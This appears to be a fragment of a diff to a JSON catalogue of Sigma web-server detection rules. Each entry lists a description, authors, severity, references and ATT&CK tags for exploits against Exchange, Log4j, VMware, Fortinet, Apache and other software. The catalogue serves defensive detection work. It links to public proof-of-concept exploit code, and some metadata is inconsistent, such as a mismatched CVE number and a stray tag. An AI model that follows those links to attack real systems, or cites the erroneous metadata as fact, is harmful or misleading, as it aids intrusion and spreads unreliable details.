"https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.20090", + "cve.2021.20091" + ] + }, + "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", + "value": "Arcadyan Router Exploitations" + }, + { + "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/01/20", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/pyn3rd/status/1351696768065409026", + "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_2109_weblogic_rce_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2021.2109" + ] + }, + "uuid": "687f6504-7f44-4549-91fc-f07bab065821", + "value": "Oracle WebLogic Exploit CVE-2021-2109" + }, + { + "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/02/24", + "falsepositive": [ + "OVA uploads to your VSphere appliance" + ], + "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", + "https://f5.pm/go-59627.html", + "https://swarm.ptsecurity.com/unauth-rce-vmware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", + "value": "CVE-2021-21972 VSphere Exploitation" + }, + { + "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2020/03/10", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/wugeej/status/1369476795255320580", + "https://paper.seebug.org/1495/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.21978" + ] + }, + "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", + "value": "CVE-2021-21978 Exploitation Attempt" + }, + { + "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/09/24", + "falsepositive": [ + "Vulnerability Scanning" + ], + "filename": "web_cve_2021_22005_vmware_file_upload.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://kb.vmware.com/s/article/85717", + "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", + "value": "VMware vCenter Server File Upload CVE-2021-22005" + }, + { + "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", + "meta": { + "author": "Bhabesh Raj, Florian Roth", + "creation_date": "2021/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_22123_fortinet_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", + "value": "Fortinet CVE-2021-22123 Exploitation" + }, + { + "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/06/29", + "falsepositive": [ + "Vulnerability Scanning" + ], + "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", + "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", + "value": "Pulse Connect Secure RCE Attack CVE-2021-22893" + }, + { + "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/22", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_26814_wzuh_rce.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26814_wzuh_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.21978", + "cve.2021.26814" + ] + }, + "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", + "value": "Exploitation of CVE-2021-26814 in Wazuh" + }, + { + "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", + "meta": { + "author": "frack113", + "creation_date": "2021/08/10", + "falsepositive": [ + "Unlikely" + ], + "filename": "web_cve_2021_26858_iis_rce.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "windows", + "refs": [ + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml" + ], + "tags": "No established tags" + }, + "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", + "value": "ProxyLogon Reset Virtual Directories Based On IIS Log" + }, + { + "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/14", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_28480_exchange_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", + "value": "Exchange Exploitation CVE-2021-28480" + }, + { + "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", + "meta": { + "author": "Florian Roth, Max Altgelt, Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_33766_msexchange_proxytoken.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", + "value": "CVE-2021-33766 Exchange ProxyToken Exploitation" + }, + { + "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", + "meta": { + "author": "Tobias Michalski, Max Altgelt", + "creation_date": "2021/09/20", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_40539_adselfservice.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_adselfservice.yml" + ], + "tags": "No established tags" + }, + "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", + "value": "ADSelfService Exploitation" + }, + { + "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", + "meta": { + "author": "Sittikorn S, Nuttakorn Tungpoonsup", + "creation_date": "2021/09/10", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", + "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", + "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit" + }, + { + "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", + "meta": { + "author": "daffainfo, Florian Roth", + "creation_date": "2021/10/05", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_41773_apache_path_traversal.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", + "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", + "https://twitter.com/ptswarm/status/1445376079548624899", + "https://twitter.com/h4x0r_dz/status/1445401960371429381", + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", + "https://twitter.com/bl4sty/status/1445462677824761878", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", + "value": "CVE-2021-41773 Exploitation Attempt" + }, + { + "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/17", + "falsepositive": [ + "Vulnerability Scanning" + ], + "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://blog.assetnote.io/2021/11/02/sitecore-rce/", + "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", + "value": "Sitecore Pre-Auth RCE CVE-2021-42237" + }, + { + "description": "Detects a successful Grafana path traversal exploitation", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/08", + "falsepositive": [ + "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" + ], + "filename": "web_cve_2021_43798_grafana.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", + "https://github.com/search?q=CVE-2021-43798", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_43798_grafana.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", + "value": "Grafana Path Traversal Exploitation CVE-2021-43798" + }, + { + "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/10", + "falsepositive": [ + "Vulnerability scanning" + ], + "filename": "web_cve_2021_44228_log4j.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755", + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://github.com/YfryTchsGD/Log4jAttackSurface", + "https://twitter.com/shutingrz/status/1469255861394866177?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", + "value": "Log4j RCE CVE-2021-44228 Generic" + }, + { + "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/10", + "falsepositive": [ + "Vulnerability scanning" + ], + "filename": "web_cve_2021_44228_log4j_fields.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755", + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://github.com/YfryTchsGD/Log4jAttackSurface", + "https://twitter.com/shutingrz/status/1469255861394866177?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", + "value": "Log4j RCE CVE-2021-44228 in Fields" + }, + { + "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", + "meta": { + "author": "@gott_cyber", + "creation_date": "2022/08/17", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2022_27925_exploit.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", + "https://www.yang99.top/index.php/archives/82/", + "https://github.com/vnhacker1337/CVE-2022-27925-PoC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.27925" + ] + }, + "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", + "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE" + }, + { + "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Vulnerability scanners" + ], + "filename": "web_cve_2022_31656_auth_bypass.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31656_auth_bypass.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", + "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass" + }, + { + "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Vulnerability scanners", + "Legitimate access to the URI" + ], + "filename": "web_cve_2022_31659_vmware_rce.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31659_vmware_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", + "value": "CVE-2022-31659 VMware Workspace ONE Access RCE" + }, + { + "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/19", + "falsepositive": [ + "Web vulnerability scanners" + ], + "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/apache/spark/pull/36315/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.33891" + ] + }, + "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", + "value": "Apache Spark Shell Command Injection - Weblogs" + }, + { + "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/29", + "falsepositive": [ + "Web vulnerability scanners" + ], + "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/_0xf4n9x_/status/1572052954538192901", + "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", + "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", + "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.36804" + ] + }, + "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", + "value": "Atlassian Bitbucket Command Injection Via Archive API" + }, + { + "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/03", + "falsepositive": [ + "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" + ], + "filename": "web_exchange_exploitation_hafnium.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", + "value": "Exchange Exploitation Used by HAFNIUM" + }, + { + "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", + "meta": { + "author": "Florian Roth, Rich Warren", + "creation_date": "2021/08/07", + "falsepositive": [ + "Unknown" + ], + "filename": "web_exchange_proxyshell.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2231", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", + "value": "Exchange ProxyShell Pattern" + }, + { + "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", + "meta": { + "author": "Florian Roth, Rich Warren", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "web_exchange_proxyshell_successful.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2231", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" + ], + "tags": [ + "attack.initial_access" + ] + }, + "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", + "value": "Successful Exchange ProxyShell Attack" + }, + { + "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", + "meta": { + "author": "frack113", + "creation_date": "2021/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "web_iis_tilt_shortname_scan.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", + "https://www.exploit-db.com/exploits/19525", + "https://github.com/lijiejie/IIS_shortname_Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_iis_tilt_shortname_scan.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", + "value": "Successful IIS Shortname Fuzzing Scan" + }, + { + "description": "Detects possible Java payloads in web access logs", + "meta": { + "author": "frack113", + "creation_date": "2022/06/04", + "falsepositive": [ + "Legitimate apps" + ], + "filename": "web_java_payload_in_access_logs.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", + "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", + "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", + "https://twitter.com/httpvoid0x2f/status/1532924261035384832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml" + ], + "tags": [ + "cve.2022.26134", + "cve.2021.26084" + ] + }, + "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", + "value": "Java Payload Strings" + }, + { + "description": "Detects exploitation attempt using the JDNIExploiit Kit", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/12", + "falsepositive": [ + "Legitimate apps the use these paths" + ], + "filename": "web_jndi_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/pimps/JNDI-Exploit-Kit", + "https://githubmemory.com/repo/FunctFan/JNDIExploit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml" + ], + "tags": "No established tags" + }, + "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", + "value": "JNDIExploit Pattern" + }, + { + "description": "Detects possible exploitation activity or bugs in a web application", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/02/19", + "falsepositive": [ + "Unstable application", + "Application that misuses the response codes" + ], + "filename": "web_multiple_susp_resp_codes_single_source.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_multiple_susp_resp_codes_single_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "6fdfc796-06b3-46e8-af08-58f3505318af", + "value": "Multiple Suspicious Resp Codes Caused by Single Client" + }, + { + "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/31", + "falsepositive": [ + "Serious issues with a configuration or plugin" + ], + "filename": "web_nginx_core_dump.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "No established product", + "refs": [ + "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", + "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ] + }, + "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", + "value": "Nginx Core Dump" + }, + { + "description": "Detects path traversal exploitation attempts", + "meta": { + "author": "Subhash Popuri (@pbssubhash), Florian Roth (generalisation)", + "creation_date": "2021/09/25", + "falsepositive": [ + "Happens all the time on systems exposed to the Internet", + "Internal vulnerability scanners" + ], + "filename": "web_path_traversal_exploitation_attempt.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", + "value": "Path Traversal Exploitation Attempts" + }, + { + "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/12/17", + "falsepositive": [ + "Unknown" + ], + "filename": "web_solarwinds_supernova_webshell.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "https://www.anquanke.com/post/id/226029", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", + "value": "Solarwinds SUPERNOVA Webshell Access" + }, + { + "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/25", + "falsepositive": [ + "Unknown" + ], + "filename": "web_sonicwall_jarrewrite_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access" + ] + }, + "uuid": "6f55f047-112b-4101-ad32-43913f52db46", + "value": "SonicWall SSL/VPN Jarrewrite Exploit" + }, + { + "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", + "meta": { + "author": "James Ahearn", + "creation_date": "2019/06/08", + "falsepositive": [ + "Unknown" + ], + "filename": "web_source_code_enumeration.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", + "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_source_code_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", + "value": "Source Code Enumeration Detection by Keyword" + }, + { + "description": "Detects SQL Injection attempts via GET requests in access logs", + "meta": { + "author": "Saw Win Naung, Nasreddine Bencherchali", + "creation_date": "2020/02/22", + "falsepositive": [ + "Java scripts and CSS Files", + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "filename": "web_sql_injection_in_access_logs.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", + "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", + "https://brightsec.com/blog/sql-injection-payloads/", + "https://github.com/payloadbox/sql-injection-payload-list", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml" + ], + "tags": "No established tags" + }, + 